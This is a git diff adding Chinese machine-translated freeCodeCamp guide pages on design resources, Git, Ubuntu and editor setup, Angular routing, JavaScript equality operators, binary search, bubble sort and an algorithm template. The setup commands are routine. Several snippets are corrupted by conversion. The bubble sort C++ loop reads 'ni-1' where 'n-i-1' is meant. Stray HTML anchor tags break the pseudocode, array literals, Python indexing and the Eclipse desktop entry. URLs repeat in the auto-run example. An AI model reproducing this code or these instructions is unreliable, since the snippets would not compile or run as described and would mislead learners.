+记住，你是一名自由职业者，这意味着你戴着很多帽子。如果你想成为一个需求量很大的优秀自由职业者，只要知道如何编码就不会削减它。
+
+Joel Marsh的这个“速成课程”非常适合学习用户体验的基础知识。他说：“以下列表并不是你在UX中可以学到的一切。这是一个快速概述，所以你可以尽快从零到英雄。”你在等什么？开始吧！
+
+## 4\. [用户体验崩溃课程：用户心理学](http://thehipperelement.com/post/87574750438/ux-crash-course-user-psychology)
+
+Joel Marsh非常棒的UX Crash Course的第二部分：31个基础。他总结了为什么这很重要：
+
+> “......你越了解用户的感受，想法和行动，你就越好的设计师。”
+
+你想成为一名优秀的开发人员和伟大的设计师，对吧？如果你不这样做，你就不会读到这么远。那么，如果你对你的用户一无所知，你将如何成为一个伟大的，甚至是一个好的设计师？你必须考虑那些用户。它们很重要，因为您正在构建人们将要使用的网站。善待他们。了解用户心理学。
+
+## 5\. [材料调色板](https://www.materialpalette.com/)
+
+单独有吸引力的调色板可以大大提高设计外观的专业性。所以，如果你已经完成了我上面提到的基本设计内容，但仍不确定如何应用色彩理论，请立即将此网站加入书签并开始使用它。只需点击两种颜色，就像魔术一样，会出现漂亮的全彩色调色板。其他调色板的好地方是[**flatuicolors**](http://www.flatuicolors.com)和[**coolors**](http://www.coolors.co) 。
+
+## 6\. [Adode Photoshop的基础知识](https://helpx.adobe.com/photoshop/tutorials.html)
+
+您将需要至少掌握Photoshop的基础知识，以便处理照片并创建支持Web的图形。在Adobe网站上浏览这些免费的Adobe Photoshop CC教程。他们做得很好，涵盖了基础知识，足以让你开始！
+
+## 7\. [Adobe Illustrator的基础知识](https://helpx.adobe.com/illustrator/tutorials.html)
+
+您可能会想，既然您不是图形艺术家，则无需知道如何使用Adobe Illustrator。错误！当然，也许你不会从头开始创作自己的艺术品。但是，如果你想使用别人的矢量艺术呢？假设您在iStock上找到了想要使用的漂亮矢量图像。但是，颜色错误或您想删除部分图像。没问题。了解Illustrator的基础知识，立即完成工作！
+
+## 8\. [应用于Web的印刷样式元素](http://webtypography.net)
+
+排版可能看起来有点无聊，但它很重要。即使您没有将此处提供的所有信息都提交给记忆，只要知道在完美的设计世界中这些重要内容将有助于提高您的意识。一次读一点。我喜欢这个网站，因为信息以简单易消化的花絮呈现。例如，查看这一分钟读取[**字母间距**](http://webtypography.net/2.1.7)
+
+## 9\. [史蒂夫克鲁格_不要让我思考_](http://www.amazon.com/Dont-Make-Me-Think-Usability/dp/0321344758)
+
+您正在构建真正的人们将要使用的网站。您不希望您的网站使生活复杂化并使人们感到沮丧。您希望您的网站让他们的生活更轻松。好吧，你需要了解一些关于网络可用性的知识，这是关于网络可用性的经典书籍。 [**A List Apart**](http://alistapart.com/)杂志的创始人Jeffrey Zeldman说，“如果你设计，编写，编程，拥有或管理网站，你必须阅读这本书。”说得好。读这本书。
+
+## 10\. [Tanner Christensen _的创意挑战_](http://www.amazon.com/Creativity-Challenge-Experiment-Innovate-Inspire/dp/1440588333)
+
+最后，如果你是一个戴着各种帽子的自由网络开发人员，你将不得不保持你的创造力，并且这意味着要锻炼它。这本书包含150个有趣的挑战，旨在让您从框中思考并从不同的角度看待事物。这本书的介绍总结得很好：“每当你感到卡住或没有灵感时，只需转到随机页面并按照说明完成你在那里找到的创意挑战。”
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md b/client/src/guide/chinese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
new file mode 100644
index 0000000000..d7d566e031
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
@@ -0,0 +1,15 @@
+---
+title: Develop Back End Projects Locally and Run on C9
+localeTitle: 在本地开发后端项目并在C9上运行
+---
+如果像我一样，你在本地开发Back End Project并希望它在c9上运行，这可能对你有帮助。
+
+1.  将您的项目推送到github
+2.  在c9中创建一个新工作区，并使用您的github存储库URL设置“从Git或Mercurial URL克隆（可选）”。提交创建页面后，c9将为您克隆项目。
+3.  在c9终端窗口中运行
+
+`bash echo "export NODE_PATH=$NODE_PATH:/home/ubuntu/.nvm/v0.10.35/lib/node_modules" >> ~/.bashrc && source ~/.bashrc`
+
+1.  运行`bower install && sudo npm install`
+2.  运行`mkdir data && echo 'mongod --bind_ip=$IP --dbpath=data --nojournal --rest "$@"' > mongod && chmod a+x mongod && ./mongod`
+3.  在另一个终端窗口中运行`grunt serve`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md b/client/src/guide/chinese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
new file mode 100644
index 0000000000..9fde60b3d6
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
@@ -0,0 +1,11 @@
+---
+title: Disable Code Auto Run on Free Code Camp
+localeTitle: 禁用代码自动运行免费代码营
+---
+默认情况下，Free Code Camp站点会自动加载并运行您最近录制的解决方案。如果您不小心创建了无限循环或其他不可恢复的错误，或者只是不信任该代码，您可以通过在URL中添加以下内容来禁用代码自动运行： `run=disabled`
+
+## 例：
+
+网址： `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)` ： `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)` solution= `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)` 20meetBonfire( `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)`
+
+禁运网址： `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)` ： `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)` run=disabled& `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)` function%20meetBonfire( `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/discard-unstaged-changes-in-git/index.md b/client/src/guide/chinese/miscellaneous/discard-unstaged-changes-in-git/index.md
new file mode 100644
index 0000000000..c58dd3e324
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/discard-unstaged-changes-in-git/index.md
@@ -0,0 +1,15 @@
+---
+title: Discard Unstaged Changes in Git
+localeTitle: 丢弃Git中的非分段更改
+---
+使用Git时，通常在暂存阶段之前进行要完全删除的更改。例如，在处理几个文件后，您意识到要还原对一个特定文件所做的更改。要在暂存和提交之前放弃更改，请使用`$ git checkout`命令。
+
+## 要取消暂存一个文件：
+
+`$ git checkout <path-to-file>`
+
+_请记住将`<path-to-file>`替换为实际文件名。_
+
+## 要取消暂存所有文件：
+
+`$ git checkout -- .`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/dont-just-say-rtfm/index.md b/client/src/guide/chinese/miscellaneous/dont-just-say-rtfm/index.md
new file mode 100644
index 0000000000..1da7898d46
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/dont-just-say-rtfm/index.md
@@ -0,0 +1,29 @@
+---
+title: Don't Just Say Rtfm
+localeTitle: 不要只说Rtfm
+---
+## 不要只说Rtfm
+
+RTFM评论通常没用
+
+> 如果每个人都阅读了精美的手册，那么互联网上提出的大多数问题都会消失！
+
+[RTFM](http://meta.stackexchange.com/a/167765)
+
+**“RTFM”**很**粗鲁** ，毫无疑问。但是， **在评论中指向手册的链接是完全可以接受的** ，有时是对问题的唯一适当回答。
+
+可能发生的是，阅读产品的人或与文章相关的东西没有找到手册，我们说RTFM，这可能对他不利并且可能伤害他/她的感受。 此外，最好“Be Nice”并使用“礼貌”字样以使他阅读和理解手动系统。
+
+因此，在发布手动链接时，要聪明一点。 **删除RTFM并使用更好的措辞，**以便链接存活。建议：
+
+*   查看手册页:(链接）
+*   参见手册:(链接）
+*   这在手册中有解释:(链接）
+
+如果OP真的很懒：
+
+*   您的问题在手册中得到了解答:(链接）为了将来参考，请务必先阅读本手册。谢谢！
+
+然后那个人没有查看手册：
+
+*   您可以在“联系人”菜单（链接）中提出您的问题。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/download-and-install-ubuntu-desktop/index.md b/client/src/guide/chinese/miscellaneous/download-and-install-ubuntu-desktop/index.md
new file mode 100644
index 0000000000..cfec6f5410
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/download-and-install-ubuntu-desktop/index.md
@@ -0,0 +1,15 @@
+---
+title: Download and Install Ubuntu Desktop
+localeTitle: 下载并安装Ubuntu Desktop
+---
+一个快速教程，展示如何安装Ubuntu。
+
+## 脚步：
+
+您可以在[此处](http://www.ubuntu.com/download/desktop)下载最新版本的Ubuntu Desktop。  
+如果您需要任何有关安装操作系统的帮助，Ubuntu的[本](http://www.ubuntu.com/download/desktop/install-ubuntu-desktop)教程将帮助您。如果你想用Windows和Ubuntu双重启动计算机，请查看[这篇](https://help.ubuntu.com/community/WindowsDualBoot)有用的文章。
+
+安装Ubuntu后，打开终端并键入`sudo apt update && sudo apt upgrade`以更新软件包。
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：") |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")  
+[**流行的Windows和Mac软件的替代品**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387) [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**自定义Ubuntu**](//forum.freecodecamp.com/t/customizing-ubuntu/18382)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/downloading-text-editors-and-ides/index.md b/client/src/guide/chinese/miscellaneous/downloading-text-editors-and-ides/index.md
new file mode 100644
index 0000000000..8a9433aae2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/downloading-text-editors-and-ides/index.md
@@ -0,0 +1,70 @@
+---
+title: Downloading Text Editors and Ides
+localeTitle: 下载文本编辑器和Ides
+---
+我们讨论流行的文本编辑器和IDE以及如何在Ubuntu上安装它们。
+
+## 热门选择：
+
+### 文字编辑
+
+**安装Atom：**
+```
+sudo add-apt-repository ppa:webupd8team/atom 
+ sudo apt-get update 
+ sudo apt-get install atom 
+```
+
+**安装Sublime Text 3：**
+```
+sudo add-apt-repository ppa:webupd8team/sublime-text-3 
+ sudo apt-get update 
+ sudo apt-get install sublime-text-installer 
+```
+
+**安装Visual Studio代码：**
+
+下载最新的Visual Studio Coder包： [Visual Studio](https://code.visualstudio.com/Docs/?dv=linux64_deb)
+```
+sudo dpkg -i vscode-amd64.deb 
+```
+
+### 集成开发环境
+
+**安装Eclipse：**
+```
+sudo apt-get install openjdk-7-jdk 
+```
+
+下载最新的Eclipse包： [Eclipse](http://www.eclipse.org/downloads/?osType=linux)
+```
+sudo mv eclipse-inst-linux64.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf eclipse-inst-linux64.tar.gz 
+```
+
+在`/usr/share/applications/`目录中创建一个名为`eclipse.desktop`的新文件，并添加以下行：
+```
+<a href='https://www.jetbrains.com/idea/download' target='_blank' rel='nofollow'>Desktop Entry] 
+ Name=Eclipse 
+ Type=Application 
+ Exec=/opt/eclipse/eclipse 
+ Terminal=false 
+ Icon=/opt/eclipse/icon.xpm 
+ Comment=Integrated Development Environment 
+ NoDisplay=false 
+ Categories=Development;IDE 
+ Name[en]=eclipse.desktop 
+```
+
+您现在可以将此文件拖到启动器，使您可以启动Eclipse。
+
+**安装Intellij IDEA：**
+
+下载\[ **Intellij IDEA**的最新版本
+```
+sudo mv idea-2016.1.1.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf idea-2016.1.1.tar.gz 
+```
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：") |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")  
+[**安装DevTools和现代Web浏览器**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385) | [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**流行的Windows和Mac软件的替代品**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md b/client/src/guide/chinese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
new file mode 100644
index 0000000000..b96b87ecfd
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
@@ -0,0 +1,32 @@
+---
+title: Dynamic Urls Using Routeparams in Angular
+localeTitle: 动态网址在Angular中使用Routeparams
+---
+如果您有很多用户在您的网站上发布_内容_怎么办？也许您的用户希望拥有他们发布的_内容_的个人资料或隔离墙，他们希望能够通过网址与他们的朋友分享？你可以做到这一点，没什么大不了的！
+
+假设您使用过
+```
+>> yo angular-fullstack:route wall 
+```
+
+为您的用户生成http://myapp.wherever.com/wall/路线。您需要指向http://myapp.wherever.com/wall/someUsername的链接以显示特定用户的_内容_ 。  
+浏览到**/client/app/wall/wall.js**并注意它在检测之前检测到用户请求的URL：
+```
+$routeProvider.when('/wall', … 
+```
+
+您可以自定义该路径以在用户尝试查看与特定用户名关联的配置文件时捕获，如下所示：
+```
+$routeProvider.when('/wall/:username', … 
+```
+
+“username”之前的冒号表示这是一个变量，然后传递给_$ routeParams_模块。在**wall.controller.js中** ，包含_$ routeParams_ ：
+```
+.controller('WallCtrl', function ($scope, $routeParams) { … 
+```
+
+然后在**wall.controller.js中** ，您可以通过引用_$ routeProvider_生成的变量来查看URL中请求的用户名。
+```
+var wallOwner = $routeParams.username; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/edit-or-delete-gitter-messages/index.md b/client/src/guide/chinese/miscellaneous/edit-or-delete-gitter-messages/index.md
new file mode 100644
index 0000000000..4d101dd4e8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/edit-or-delete-gitter-messages/index.md
@@ -0,0 +1,7 @@
+---
+title: Edit or Delete Gitter Messages
+localeTitle: 编辑或删除Gitter消息
+---
+> 在10分钟内编辑或删除上一封邮件。发布
+
+![如何删除邮件](//discourse-user-assets.s3.amazonaws.com/original/2X/9/91c9019fe7b7caee535f7e20678051f7fac687f5.gif)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/embed-youtube-videos-on-gitter/index.md b/client/src/guide/chinese/miscellaneous/embed-youtube-videos-on-gitter/index.md
new file mode 100644
index 0000000000..4999f65e85
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/embed-youtube-videos-on-gitter/index.md
@@ -0,0 +1,7 @@
+---
+title: Embed Youtube Videos on Gitter
+localeTitle: 在Gitter上嵌入Youtube视频
+---
+您只需使用Google链接即可将内嵌视频添加到Wiki。在聊天内容中，这将显示为嵌入式视频。
+
+[https://www.youtube.com/watch?v=BMUiFMZr7vk](https://www.youtube.com/watch?v=BMUiFMZr7vk)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/emojis-for-gitter-and-github/index.md b/client/src/guide/chinese/miscellaneous/emojis-for-gitter-and-github/index.md
new file mode 100644
index 0000000000..f61b8dca9c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/emojis-for-gitter-and-github/index.md
@@ -0,0 +1,5 @@
+---
+title: Emojis for Gitter and Github
+localeTitle: Gitter和Github的Emojis
+---
+Gitter IM和GitHub都支持一系列酷表情符号（表情符号）。来自`:sunny:` ![:sunny:](//forum.freecodecamp.com/images/emoji/emoji_one/sunny.png?v=2 "：晴天：") to `:poop:` ![:poop:](//forum.freecodecamp.com/images/emoji/emoji_one/poop.png?v=2 "：船尾：")你可以表达一系列的情感！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/equality-vs-identity-operator/index.md b/client/src/guide/chinese/miscellaneous/equality-vs-identity-operator/index.md
new file mode 100644
index 0000000000..f389251d59
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/equality-vs-identity-operator/index.md
@@ -0,0 +1,52 @@
+---
+title: Equality Vs Identity Operator
+localeTitle: 平等与身份运营商
+---
+在JavaScript中，有2个运算符可用于比较两个值： _\==_和_\===_ 。它们似乎完全相同，但它们的工作方式不同，在某些情况下它们会产生不同的结果。
+
+## 权益运营商
+
+所有必要的类型转换后，等式运算符（==）比较两个值。我们来看几个例子：
+```
+0 == ''             // -> true 
+ false == 'false'    // -> false 
+```
+
+在第一个示例中，0和''（空字符串）都经历自动转换。它们都被转换为虚假给予：
+```
+false == false 
+```
+
+这显然是_真的_ 。在第二个示例_'false'中_ ，非空String被计算为true，使整个表达式为false。
+
+## 身份运营商
+
+相比之下，当且仅当被比较的两个值具有相同类型且具有相同值时，身份运算符（===）才会返回true。如果我们尝试比较两种不同类型的值，它将始终返回_false_ 。
+```
+false === 0            // -> false 
+ 0 === ''              // -> false 
+ 5 === 5                  // -> true 
+```
+
+确切地说，===检查两个变量是否引用相同的对象，或者在值类型（如_int_ ， _double_ ， _String_ ， _bool_等）的情况下，如果它们都具有相同的值。
+```
+var array1 = [ 5, 6, 7 ]; 
+ var array2 = [ 5, 6, 7 ]; 
+ var array3 = array2; 
+ 
+ array1 === array2      // -> false 
+ array1 == array2      // -> false 
+ 
+ array2 === array3      // -> true 
+ array2 == array3      // -> true 
+```
+
+_array1_和_array2_都具有相同的类型，它们是相同的但是比较_array1 === array2_返回false，因为它们引用不同的对象。 _array2 === array3_返回true，因为两个变量都引用同一个对象。
+
+## 我应该使用哪个操作员？
+
+理解_\==_和_\===_之间的区别但是应该使用哪个运算符很重要？
+
+使用_\==_运算符时，JavaScript将执行比较两个值所需的所有转换。它似乎非常方便，但这种转换的效果可能会令人困惑，并且很难跟踪错误。
+
+“ _JavaScript：The Good Parts_ ”一书的作者Douglas Crockford建议_\===_应该在任何地方使用，而不是使用_\==_运算符来避免潜在的错误。在大多数情况下，您应该遵循此建议，除非您特别想要利用自动类型转换。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/find-the-culprit-with-git-blame/index.md b/client/src/guide/chinese/miscellaneous/find-the-culprit-with-git-blame/index.md
new file mode 100644
index 0000000000..d925104a7a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/find-the-culprit-with-git-blame/index.md
@@ -0,0 +1,13 @@
+---
+title: Find the Culprit with Git Blame
+localeTitle: 用Git Blame找到罪魁祸首
+---
+显示修订版和作者上次修改文件的每一行并指责它们。
+
+![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")![:no_good:](//forum.freecodecamp.com/images/emoji/emoji_one/no_good.png?v=2 "：不好：") - ![:see_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/see_no_evil.png?v=2 "：see_no_evil：")![:hear_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/hear_no_evil.png?v=2 "：hear_no_evil：")![:speak_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/speak_no_evil.png?v=2 "：别嚼舌根：")
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d8cb932324ede4b8c534c150056b81759fac5804.png)
+
+**参考：** [https](https://git-scm.com/docs/git-blame) **：** [//git-scm.com/docs/git-blame](https://git-scm.com/docs/git-blame)
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24c2d8e7e137c454cd182222b6a38054a09c6889.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/fixing-exportsupdate-in-angular/index.md b/client/src/guide/chinese/miscellaneous/fixing-exportsupdate-in-angular/index.md
new file mode 100644
index 0000000000..6282de7ac7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/fixing-exportsupdate-in-angular/index.md
@@ -0,0 +1,15 @@
+---
+title: Fixing Exportsupdate in Angular
+localeTitle: 在Angular中修复Exportsupdate
+---
+事实证明，在**thing.controller.js**以及在可能产生的任何其它端点，这就是所谓的_exports.update_功能，当您从您的前端修改现有的数据库对象_$ http.put_电话坏了。这是一个[已知问题](https://github.com/DaftMonk/generator-angular-fullstack/issues/310) ，可以通过更改以下行来修复：
+```
+// Updates an existing thing in the DB. 
+ exports.update = function(req, res) { 
+ ... 
+    var updated = _.extend(thing, req.body); 
+    // change _.merge to _.extend 
+ ... 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
new file mode 100644
index 0000000000..1489943c01
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
@@ -0,0 +1,74 @@
+---
+title: Freecodecamp Algorithm Binary Search Guide
+localeTitle: Freecodecamp算法二进制搜索指南
+---
+二进制搜索是一种搜索算法，用于查找已排序数组中目标值的位置。
+
+## 例
+
+![二进制搜索](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3cb9e4cc59081e1b0a19b716dbcfb6df97ac2b52.png)
+
+上图显示了当目标值为**4**时二进制搜索算法在排序数组上的工作情况。
+
+## 算法
+
+二进制搜索适用于已排序的数组。二进制搜索首先将数组的中间元素与目标值进行比较。如果目标值与中间元素匹配，则返回其在数组中的位置。如果目标值小于或大于中间元素，则搜索分别使用新的中间元素继续数组的下半部分或上半部分，从而消除另一半。
+
+二进制搜索算法的伪代码如下：
+```
+BinarySearch(A<a href='https://repl.it/CWZq/158' target='_blank' rel='nofollow'>0..N-1], value) { 
+  low = 0 
+  high = N - 1 
+  while (low <= high) { 
+    // invariants: value > A[i] for all i < low 
+                   value < A[i] for all i > high 
+    mid = (low + high) / 2 
+    if (A[mid] > value) 
+      high = mid - 1 
+    else if (A[mid] < value) 
+      low = mid + 1 
+    else 
+      return mid 
+  } 
+  return not_found // value would be inserted at index "low" 
+ } 
+```
+
+## 复杂
+
+*   最差案例表现： **O（log n）**
+*   最佳案例表现： **O（1）**
+*   平均案例表现： **O（log n）**
+*   最坏的案例空间复杂度： **O（1）**用于迭代; **O（log n）**用于递归。
+
+## C ++实现
+```
+int binarySearch(int arr[], int value, int left, int right) { 
+  int middle; 
+  while (left <= right) { 
+    middle = (left + right) / 2; 
+    if (arr[middle] == value) 
+      return middle; 
+    else if (arr[middle] > value) 
+      right = middle - 1; 
+    else 
+      left = middle + 1; 
+  } 
+  return -1; 
+ } 
+```
+
+：rocket：\[运行代码## Python实现
+```
+def binary_search(l, value): 
+    low = 0 
+    high = len(l)-1 
+    while low <= high: 
+        mid = (low+high)//2 
+        if l<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>mid] > value: high = mid-1 
+        elif l[mid] < value: low = mid+1 
+        else: return mid 
+    return -1 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CWZi/2)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
new file mode 100644
index 0000000000..ffd66e3e6e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
@@ -0,0 +1,85 @@
+---
+title: Freecodecamp Algorithm Bubble Sort Guide
+localeTitle: Freecodecamp算法冒泡排序指南
+---
+冒泡排序是一种简单的排序算法。该排序算法是基于比较的算法，其中每对相邻元素是  
+比较和元素交换，如果它们不合适。该算法进行就地排序，即它不会创建新数组  
+进行分拣过程。
+
+#### 例
+
+[BubbleSort的动画](http://www.sorting-algorithms.com/bubble-sort)
+```
+array = <a href='https://repl.it/CXif' target='_blank' rel='nofollow'>5, 1, 4, 2, 8] 
+ 
+ First Pass: 
+ ( 5 1 4 2 8 ) –> ( 1 5 4 2 8 ), Here, algorithm compares the first two elements, and swaps since 5 > 1. 
+ ( 1 5 4 2 8 ) –>  ( 1 4 5 2 8 ), Swap since 5 > 4 
+ ( 1 4 5 2 8 ) –>  ( 1 4 2 5 8 ), Swap since 5 > 2 
+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ), Now, since these elements are already in order (8 > 5), algorithm does not swap them. 
+ 
+ Second Pass: 
+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ) 
+ ( 1 4 2 5 8 ) –> ( 1 2 4 5 8 ), Swap since 4 > 2 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –>  ( 1 2 4 5 8 ) 
+ Now, the array is already sorted, but our algorithm does not know if it is completed. The algorithm needs one whole pass without any 
+ swap to know it is sorted. 
+ 
+ Third Pass: 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+```
+
+#### C ++实现
+```
+// Function to implement bubble sort 
+ void bubble_sort(int array[], int n) 
+ { 
+    // Here n is the number of elements in array 
+    int temp; 
+ 
+    for(int i = 0; i < n-1; i++) 
+ { 
+    // Last i elements are already in place 
+    for(int j = 0; j < ni-1; j++) 
+    { 
+        if (array[j] > array[j+1]) 
+        { 
+            // swap elements at index j and j+1 
+            temp = array[j]; 
+            array[j] = array[j+1]; 
+            array[j+1] = temp; 
+        } 
+    } 
+ } 
+ } 
+```
+
+：rocket：\[运行代码#### Python实现
+```
+def bubble_sort(arr): 
+    exchanges = True # A check to see if the array is already sorted so that no further steps gets executed 
+    i = len(arr)-1 
+    while i > 0 and exchanges: 
+       exchanges = False 
+       for j in range(i): 
+           if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j]>arr[j+1]: 
+               exchanges = True 
+               arr[j], arr[j+1] = arr[j+1], arr[j] 
+       i -= 1 
+ 
+ arr = [5,3,23,1,43,2,54] 
+ bubble_sort(arr) 
+ print(arr) # Prints [1, 2, 3, 5, 23, 43, 54] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CW0M/1)
+
+#### [算法的复杂性](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**最差和平均案例时间复杂度：** O（n \* n）。当数组被反向排序时，即最坏的情况发生，即元素按递减顺序排列
+
+**最佳案例时间复杂度：** O（n）。当数组已经排序时，会出现最佳情况。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
new file mode 100644
index 0000000000..a4e58ef650
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
@@ -0,0 +1,103 @@
+---
+title: Freecodecamp Algorithm Challenge Template Guide
+localeTitle: Freecodecamp算法挑战模板指南
+---
+> 这是您在编写新算法解决方案或添加内容时应遵循的模板，始终确保在您的请求中实现此模板的最新版本
+
+# 算法[在这里添加名称\]](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ":triangular_flag_on_post:")
+
+![:triangular_flag_on_post:</a> Remember to use <a>**<code>Read-Search-Ask</code>**</a> if you get stuck. Try to pair program ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+以易于理解和详细的方式解释所提出的问题。
+
+#### 相关链接
+
+*   [链接标题1](http://example.com)
+*   [链接标题2](http://example.com)
+*   [链接标题3](http://example.com)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+在这里添加提示1。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+在这里添加提示2。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+在这里添加提示3。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/URL-HERE)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
